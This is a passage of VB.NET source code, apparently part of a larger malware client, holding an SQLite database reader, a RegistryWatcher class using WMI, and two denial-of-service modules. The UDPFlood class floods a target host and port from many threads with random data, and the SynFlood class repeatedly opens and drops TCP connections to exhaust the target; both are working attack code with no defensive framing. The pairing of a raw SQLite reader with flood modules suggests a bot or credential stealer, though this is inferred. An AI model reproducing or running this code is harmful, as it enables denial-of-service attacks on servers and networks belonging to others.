1924 | ElseIf encoding = 2 Then | |
1925 | master_table_entries(ol + i).item_name = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1)) | |
1926 | ElseIf encoding = 3 Then | |
1927 | master_table_entries(ol + i).item_name = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1)) | |
1928 | End If | |
1929 | master_table_entries(ol + i).root_num = ConvertToInteger(ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2), Field_Size(3)) | |
1930 | If encoding = 1 Then | |
1931 | master_table_entries(ol + i).sql_statement = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4)) | |
1932 | ElseIf encoding = 2 Then | |
1933 | master_table_entries(ol + i).sql_statement = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4)) | |
1934 | ElseIf encoding = 3 Then | |
1935 | master_table_entries(ol + i).sql_statement = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4)) | |
1936 | End If | |
1937 | Next | |
1938 | ElseIf db_bytes(Offset) = &H5 Then | |
1939 | Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1 | |
1940 | Dim ent_offset As UInt16 | |
1941 | ||
1942 | For i As Integer = 0 To Length Step 1 | |
1943 | ent_offset = ConvertToInteger(Offset + 12 + (i * 2), 2) | |
1944 | ||
1945 | If Offset = 100 Then | |
1946 | ReadMasterTable((ConvertToInteger(ent_offset, 4) - 1) * page_size) | |
1947 | Else | |
1948 | ReadMasterTable((ConvertToInteger(Offset + ent_offset, 4) - 1) * page_size) | |
1949 | End If | |
1950 | ||
1951 | Next | |
1952 | ||
1953 | ReadMasterTable((ConvertToInteger(Offset + 8, 4) - 1) * page_size) | |
1954 | End If | |
1955 | End Sub | |
1956 | ||
1957 | Private Function ReadTableFromOffset(ByVal Offset As UInt64) As Boolean | |
1958 | If db_bytes(Offset) = &HD Then | |
1959 | ||
1960 | Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1 | |
1961 | Dim ol As Integer = 0 | |
1962 | ||
1963 | If Not table_entries Is Nothing Then | |
1964 | ol = table_entries.Length | |
1965 | ReDim Preserve table_entries(table_entries.Length + Length) | |
1966 | Else | |
1967 | ReDim table_entries(Length) | |
1968 | End If | |
1969 | ||
1970 | Dim ent_offset As UInt64 | |
1971 | ||
1972 | For i As Integer = 0 To Length Step 1 | |
1973 | ent_offset = ConvertToInteger(Offset + 8 + (i * 2), 2) | |
1974 | ||
1975 | If Offset <> 100 Then ent_offset = ent_offset + Offset | |
1976 | ||
1977 | Dim t As Object = GVL(ent_offset) | |
1978 | Dim size As Int64 = CVL(ent_offset, t) | |
1979 | ||
1980 | Dim s As Object = GVL(ent_offset + (t - ent_offset) + 1) | |
1981 | table_entries(ol + i).row_id = CVL(ent_offset + (t - ent_offset) + 1, s) | |
1982 | ||
1983 | ent_offset = ent_offset + (s - ent_offset) + 1 | |
1984 | ||
1985 | t = GVL(ent_offset) | |
1986 | s = t | |
1987 | Dim Rec_Header_Size As Int64 = CVL(ent_offset, t) | |
1988 | ||
1989 | Dim Field_Size() As record_header_field = Nothing | |
1990 | Dim size_read As Int64 = (ent_offset - t) + 1 | |
1991 | Dim j As Object = 0 | |
1992 | ||
1993 | While size_read < Rec_Header_Size | |
1994 | ReDim Preserve Field_Size(j) | |
1995 | ||
1996 | t = s + 1 | |
1997 | s = GVL(t) | |
1998 | Field_Size(j).type = CVL(t, s) | |
1999 | ||
2000 | If Field_Size(j).type > 9 Then | |
2001 | If IsOdd(Field_Size(j).type) Then | |
2002 | Field_Size(j).size = (Field_Size(j).type - 13) / 2 | |
2003 | Else | |
2004 | Field_Size(j).size = (Field_Size(j).type - 12) / 2 | |
2005 | End If | |
2006 | Else | |
2007 | Field_Size(j).size = SQLDataTypeSize(Field_Size(j).type) | |
2008 | End If | |
2009 | ||
2010 | size_read = size_read + (s - t) + 1 | |
2011 | j = j + 1 | |
2012 | End While | |
2013 | ||
2014 | ReDim table_entries(ol + i).content(Field_Size.Length - 1) | |
2015 | Dim counter As Integer = 0 | |
2016 | ||
2017 | For k As Integer = 0 To Field_Size.Length - 1 Step 1 | |
2018 | If Field_Size(k).type > 9 Then | |
2019 | If Not IsOdd(Field_Size(k).type) Then | |
2020 | If encoding = 1 Then | |
2021 | table_entries(ol + i).content(k) = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size) | |
2022 | ElseIf encoding = 2 Then | |
2023 | table_entries(ol + i).content(k) = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size) | |
2024 | ElseIf encoding = 3 Then | |
2025 | table_entries(ol + i).content(k) = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size) | |
2026 | End If | |
2027 | Else | |
2028 | table_entries(ol + i).content(k) = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size) | |
2029 | End If | |
2030 | Else | |
2031 | table_entries(ol + i).content(k) = CStr(ConvertToInteger(ent_offset + Rec_Header_Size + counter, Field_Size(k).size)) | |
2032 | End If | |
2033 | ||
2034 | counter = counter + Field_Size(k).size | |
2035 | Next | |
2036 | Next | |
2037 | ElseIf db_bytes(Offset) = &H5 Then | |
2038 | Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1 | |
2039 | Dim ent_offset As UInt16 | |
2040 | ||
2041 | For i As Integer = 0 To Length Step 1 | |
2042 | ent_offset = ConvertToInteger(Offset + 12 + (i * 2), 2) | |
2043 | ||
2044 | ReadTableFromOffset((ConvertToInteger(Offset + ent_offset, 4) - 1) * page_size) | |
2045 | Next | |
2046 | ||
2047 | ReadTableFromOffset((ConvertToInteger(Offset + 8, 4) - 1) * page_size) | |
2048 | End If | |
2049 | ||
2050 | Return True | |
2051 | End Function | |
2052 | ||
2053 | Public Function ReadTable(ByVal TableName As String) As Boolean | |
2054 | ||
2055 | Dim found As Integer = -1 | |
2056 | ||
2057 | For i As Integer = 0 To master_table_entries.Length Step 1 | |
2058 | If master_table_entries(i).item_name.ToLower().CompareTo(TableName.ToLower()) = 0 Then | |
2059 | found = i | |
2060 | Exit For | |
2061 | End If | |
2062 | Next | |
2063 | ||
2064 | If found = -1 Then Return False | |
2065 | ||
2066 | Dim fields() As Object = master_table_entries(found).sql_statement.Substring(master_table_entries(found).sql_statement.IndexOf("(") + 1).Split(",") | |
2067 | ||
2068 | For i As Integer = 0 To fields.Length - 1 Step 1 | |
2069 | fields(i) = LTrim(fields(i)) | |
2070 | ||
2071 | Dim index As Object = fields(i).IndexOf(" ") | |
2072 | ||
2073 | If index > 0 Then fields(i) = fields(i).Substring(0, index) | |
2074 | ||
2075 | If fields(i).IndexOf("UNIQUE") = 0 Then | |
2076 | Exit For | |
2077 | Else | |
2078 | ReDim Preserve field_names(i) | |
2079 | field_names(i) = fields(i) | |
2080 | End If | |
2081 | Next | |
2082 | ||
2083 | Return ReadTableFromOffset((master_table_entries(found).root_num - 1) * page_size) | |
2084 | End Function | |
2085 | ||
2086 | Public Function GetRowCount() As Integer | |
2087 | Return table_entries.Length | |
2088 | End Function | |
2089 | ||
2090 | Public Function GetValue(ByVal row_num As Integer, ByVal field As Integer) As String | |
2091 | If row_num >= table_entries.Length Then Return Nothing | |
2092 | If field >= table_entries(row_num).content.Length Then Return Nothing | |
2093 | ||
2094 | Return table_entries(row_num).content(field) | |
2095 | End Function | |
2096 | ||
2097 | Public Function GetValue(ByVal row_num As Integer, ByVal field As String) As String | |
2098 | Dim found As Integer = -1 | |
2099 | ||
2100 | For i As Integer = 0 To field_names.Length Step 1 | |
2101 | If field_names(i).ToLower().CompareTo(field.ToLower()) = 0 Then | |
2102 | found = i | |
2103 | Exit For | |
2104 | End If | |
2105 | Next | |
2106 | ||
2107 | If found = -1 Then Return Nothing | |
2108 | ||
2109 | Return GetValue(row_num, found) | |
2110 | End Function | |
2111 | ||
2112 | Public Function GetTableNames() As String() | |
2113 | Dim retVal As String() = Nothing | |
2114 | Dim arr As Object = 0 | |
2115 | ||
2116 | For i As Integer = 0 To master_table_entries.Length - 1 Step 1 | |
2117 | If master_table_entries(i).item_type = "table" Then | |
2118 | ReDim Preserve retVal(arr) | |
2119 | retVal(arr) = master_table_entries(i).item_name | |
2120 | arr = arr + 1 | |
2121 | End If | |
2122 | Next | |
2123 | ||
2124 | Return retVal | |
2125 | End Function | |
2126 | ||
2127 | Public Sub New(ByVal baseName As String) | |
2128 | If File.Exists(baseName) Then | |
2129 | FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) | |
2130 | Dim asi As String = Space(LOF(1)) | |
2131 | FileGet(1, asi) | |
2132 | FileClose(1) | |
2133 | ||
2134 | db_bytes = System.Text.Encoding.Default.GetBytes(asi) | |
2135 | ||
2136 | If System.Text.Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") <> 0 Then | |
2137 | Throw New Exception("Not a valid SQLite 3 Database File") | |
2138 | End | |
2139 | End If | |
2140 | ||
2141 | If db_bytes(52) <> 0 Then | |
2142 | Throw New Exception("Auto-vacuum capable database is not supported") | |
2143 | End | |
2144 | ElseIf ConvertToInteger(44, 4) >= 4 Then | |
2145 | Throw New Exception("No supported Schema layer file-format") | |
2146 | End | |
2147 | End If | |
2148 | ||
2149 | page_size = ConvertToInteger(16, 2) | |
2150 | encoding = ConvertToInteger(56, 4) | |
2151 | ||
2152 | If encoding = 0 Then encoding = 1 | |
2153 | ||
2154 | ReadMasterTable(100) | |
2155 | End If | |
2156 | End Sub | |
2157 | End Class | |
2158 | Public Class UDPFlood | |
2159 | Public Shared Host As String | |
2160 | Public Shared Port As Integer | |
2161 | Public Shared Threads As Integer | |
2162 | Public Shared FloodRunning As Boolean | |
2163 | Public Shared udpClient As New Sockets.UdpClient | |
2164 | Public Shared bytCommand As Byte() = New Byte() {} | |
2165 | Public Shared IP As IPAddress | |
2166 | Public Shared Sub StartUDPFlood() | |
2167 | If FloodRunning = False Then | |
2168 | FloodRunning = True | |
2169 | bytCommand = Encoding.ASCII.GetBytes(GetBytes) | |
2170 | IP = IPAddress.Parse(Host) | |
2171 | For NumberOfThreads As Integer = 0 To Threads | |
2172 | Dim Flooding As Thread | |
2173 | Flooding = New Thread(AddressOf Flood) | |
2174 | Flooding.Start() | |
2175 | Next | |
2176 | End If | |
2177 | End Sub | |
2178 | Public Shared Sub Flood() | |
2179 | Do While FloodRunning = True | |
2180 | Try | |
2181 | udpClient.Connect(IP, Port) | |
2182 | udpClient.Send(bytCommand, bytCommand.Length) | |
2183 | Catch | |
2184 | End Try | |
2185 | Loop | |
2186 | Thread.CurrentThread.Abort() | |
2187 | End Sub | |
2188 | Shared Sub StopUDPFlood() | |
2189 | If FloodRunning = True Then | |
2190 | FloodRunning = False | |
2191 | End If | |
2192 | End Sub | |
2193 | Shared Function GetBytes() As String | |
2194 | Dim R As New Random | |
2195 | Dim Bytes As String = "" | |
2196 | Dim Letters As String = "qwertyuioplkjhgfdsazxcvbnm" | |
2197 | Dim Capitals As String = "QWERTYUIOPLKJHGFDSAZXCVBNM" | |
2198 | Dim Numbers As String = "0123456789" | |
2199 | Dim Signs As String = "!£$%^&*()-_=+]}{[;:'@#~<,.>/?" | |
2200 | For i As Integer = 0 To R.Next(300, 500) | |
2201 | Select Case R.Next(0, 4) | |
2202 | Case 0 | |
2203 | Bytes += Letters.ToCharArray()(R.Next((R.Next(0, 26)))) | |
2204 | Case 1 | |
2205 | Bytes += Capitals.ToCharArray()(R.Next(0, 26)) | |
2206 | Case 2 | |
2207 | Bytes += Numbers.ToCharArray()(R.Next(0, 10)) | |
2208 | Case 3 | |
2209 | Bytes += Signs.ToCharArray()(R.Next(0, 29)) | |
2210 | End Select | |
2211 | Next | |
2212 | Return Bytes | |
2213 | End Function | |
2214 | End Class | |
2215 | Public Class SynFlood | |
2216 | Private Shared FloodingJob As ThreadStart() | |
2217 | Private Shared FloodingThread As Thread() | |
2218 | Public Shared Host As String | |
2219 | Private Shared ipEo As IPEndPoint | |
2220 | Public Shared Port As Integer | |
2221 | Private Shared SynClass As SendSyn() | |
2222 | Public Shared SynSockets As Integer | |
2223 | Public Shared Threads As Integer | |
2224 | Public Shared IsRunning As Boolean = False | |
2225 | Public Shared Sub StartSynFlood() | |
2226 | IsRunning = True | |
2227 | Try | |
2228 | ipEo = New IPEndPoint(Dns.GetHostEntry(Host).AddressList(0), Port) | |
2229 | Catch | |
2230 | ipEo = New IPEndPoint(IPAddress.Parse(Host), Port) | |
2231 | End Try | |
2232 | FloodingThread = New Thread(Threads - 1) {} | |
2233 | FloodingJob = New ThreadStart(Threads - 1) {} | |
2234 | SynClass = New SendSyn(Threads - 1) {} | |
2235 | For i As Integer = 0 To Threads - 1 | |
2236 | SynClass(i) = New SendSyn(ipEo, SynSockets) | |
2237 | FloodingJob(i) = New ThreadStart(AddressOf SynClass(i).Send) | |
2238 | FloodingThread(i) = New Thread(FloodingJob(i)) | |
2239 | FloodingThread(i).Start() | |
2240 | Next | |
2241 | End Sub | |
2242 | Public Shared Sub StopSynFlood() | |
2243 | For i As Integer = 0 To Threads - 1 | |
2244 | Try | |
2245 | FloodingThread(i).Abort() | |
2246 | Catch | |
2247 | End Try | |
2248 | Next | |
2249 | IsRunning = False | |
2250 | End Sub | |
2251 | Private Class SendSyn | |
2252 | Private ipEo As IPEndPoint | |
2253 | Private Sock As Socket() | |
2254 | Private SynSockets As Integer | |
2255 | Public Sub New(ByVal ipEo As IPEndPoint, ByVal SynSockets As Integer) | |
2256 | Me.ipEo = ipEo | |
2257 | Me.SynSockets = SynSockets | |
2258 | End Sub | |
2259 | Public Sub OnConnect(ByVal ar As IAsyncResult) | |
2260 | ||
2261 | End Sub | |
2262 | Public Sub Send() | |
2263 | Dim num As Integer | |
2264 | Label_0000: | |
2265 | Try | |
2266 | Me.Sock = New Socket(Me.SynSockets - 1) {} | |
2267 | For num = 0 To Me.SynSockets - 1 | |
2268 | Me.Sock(num) = New Socket(Me.ipEo.AddressFamily, SocketType.Stream, ProtocolType.Tcp) | |
2269 | Me.Sock(num).Blocking = False | |
2270 | Dim callback As New AsyncCallback(AddressOf Me.OnConnect) | |
2271 | Me.Sock(num).BeginConnect(Me.ipEo, callback, Me.Sock(num)) | |
2272 | Next | |
2273 | Thread.Sleep(100) | |
2274 | For num = 0 To Me.SynSockets - 1 | |
2275 | If Me.Sock(num).Connected Then | |
2276 | Me.Sock(num).Disconnect(False) | |
2277 | End If | |
2278 | Me.Sock(num).Close() | |
2279 | Me.Sock(num) = Nothing | |
2280 | Next | |
2281 | Me.Sock = Nothing | |
2282 | GoTo Label_0000 | |
2283 | Catch | |
2284 | For num = 0 To Me.SynSockets - 1 | |
2285 | Try | |
2286 | If Me.Sock(num).Connected Then | |
2287 | Me.Sock(num).Disconnect(False) | |
2288 | End If | |
2289 | Me.Sock(num).Close() | |
2290 | Me.Sock(num) = Nothing | |
2291 | Catch | |
2292 | End Try | |
2293 | Next | |
2294 | GoTo Label_0000 | |
2295 | End Try | |
2296 | End Sub | |
2297 | End Class | |
2298 | End Class | |
2299 | Public Class RegistryWatcher | |
2300 | Public MonitorCollection As New Collections.Generic.Dictionary(Of String, Monitor) | |
2301 | Public Event RegistryChanged(ByVal M As Monitor) | |
2302 | Public Enum HKEY_ROOTS As Integer | |
2303 | HKEY_CLASSES_ROOT = 0 | |
2304 | HKEY_CURRENT_USER = 1 | |
2305 | HKEY_LOCAL_MACHINE = 2 | |
2306 | HKEY_USERS = 3 | |
2307 | HKEY_CURRENT_CONFIG = 4 | |
2308 | End Enum | |
2309 | Public Sub AddWatcher(ByVal Root As HKEY_ROOTS, ByVal Path As String, ByVal ID As String, Optional ByVal Value As String = "") | |
2310 | If MonitorCollection.ContainsKey(ID) = False Then | |
2311 | Dim RegMon As New Monitor(Root, Path, ID, Value) | |
2312 | AddHandler RegMon.Changed, AddressOf OnRegistryChanged | |
2313 | MonitorCollection.Add(ID, RegMon) | |
2314 | End If | |
2315 | End Sub | |
2316 | Public Sub RemoveWatcher(ByVal ID As String) | |
2317 | If MonitorCollection.ContainsKey(ID) = True Then | |
2318 | MonitorCollection(ID).StopWatch() | |
2319 | MonitorCollection.Remove(ID) | |
2320 | End If | |
2321 | End Sub | |
2322 | Private Sub OnRegistryChanged(ByVal M As Monitor) | |
2323 | RaiseEvent RegistryChanged(M) | |
2324 | End Sub | |
2325 | Public Class Monitor | |
2326 | Private mRoot As HKEY_ROOTS | |
2327 | Private mPath As String | |
2328 | Private mID As String | |
2329 | Private mValue As String | |
2330 | Private mStop As Boolean | |
2331 | Public ReadOnly Property Root() As HKEY_ROOTS | |
2332 | Get | |
2333 | Return mRoot | |
2334 | End Get | |
2335 | End Property | |
2336 | Public ReadOnly Property Path() As String | |
2337 | Get | |
2338 | Return mPath | |
2339 | End Get | |
2340 | End Property | |
2341 | Public ReadOnly Property ID() As String | |
2342 | Get | |
2343 | Return mID | |
2344 | End Get | |
2345 | End Property | |
2346 | Public ReadOnly Property Value() As String | |
2347 | Get | |
2348 | Return mValue | |
2349 | End Get | |
2350 | End Property | |
2351 | Public Event Changed(ByVal M As Monitor) | |
2352 | Sub New(ByVal NewRoot As HKEY_ROOTS, ByVal NewPath As String, ByVal NewID As String, ByVal NewValue As String) | |
2353 | mRoot = NewRoot | |
2354 | mPath = NewPath | |
2355 | mID = NewID | |
2356 | mValue = NewValue | |
2357 | ||
2358 | Dim T As New Threading.Thread(AddressOf Watcher) | |
2359 | T.Start() | |
2360 | End Sub | |
2361 | Public Sub StopWatch() | |
2362 | mStop = True | |
2363 | End Sub | |
2364 | Private Sub Watcher() | |
2365 | Dim WMIObject As Object | |
2366 | Dim WMIEvent As Object | |
2367 | Dim WMICurrEvent As Object | |
2368 | ||
2369 | mPath = Replace(mPath, "\", "\\") | |
2370 | ||
2371 | WMIObject = GetObject("winmgmts:\\.\root\default") | |
2372 | ||
2373 | If mValue = "" Then | |
2374 | WMIEvent = WMIObject.ExecNotificationQuery( _ | |
2375 | "SELECT * FROM RegistryKeyChangeEvent WHERE Hive='" & _ | |
2376 | mRoot.ToString & "' AND " & "KeyPath='" & mPath & "'") | |
2377 | Else | |
2378 | WMIEvent = WMIObject.ExecNotificationQuery( _ | |
2379 | "SELECT * FROM RegistryValueChangeEvent WHERE Hive='" & _ | |
2380 | mRoot.ToString & "' AND " & "KeyPath='" & mPath & "' AND ValueName='" & mValue & "'") | |
2381 | End If | |
2382 | ||
2383 | Do | |
2384 | Try | |
2385 | If mStop = True Then | |
2386 | mStop = False | |
2387 | Exit Sub | |
2388 | End If | |
2389 | WMICurrEvent = WMIEvent.NextEvent(500) | |
2390 | RaiseEvent Changed(Me) | |
2391 | Catch ex As Exception | |
2392 | End Try | |
2393 | Loop | |
2394 | End Sub | |
2395 | End Class | |
2396 | End Class | |
2397 | End Namespace |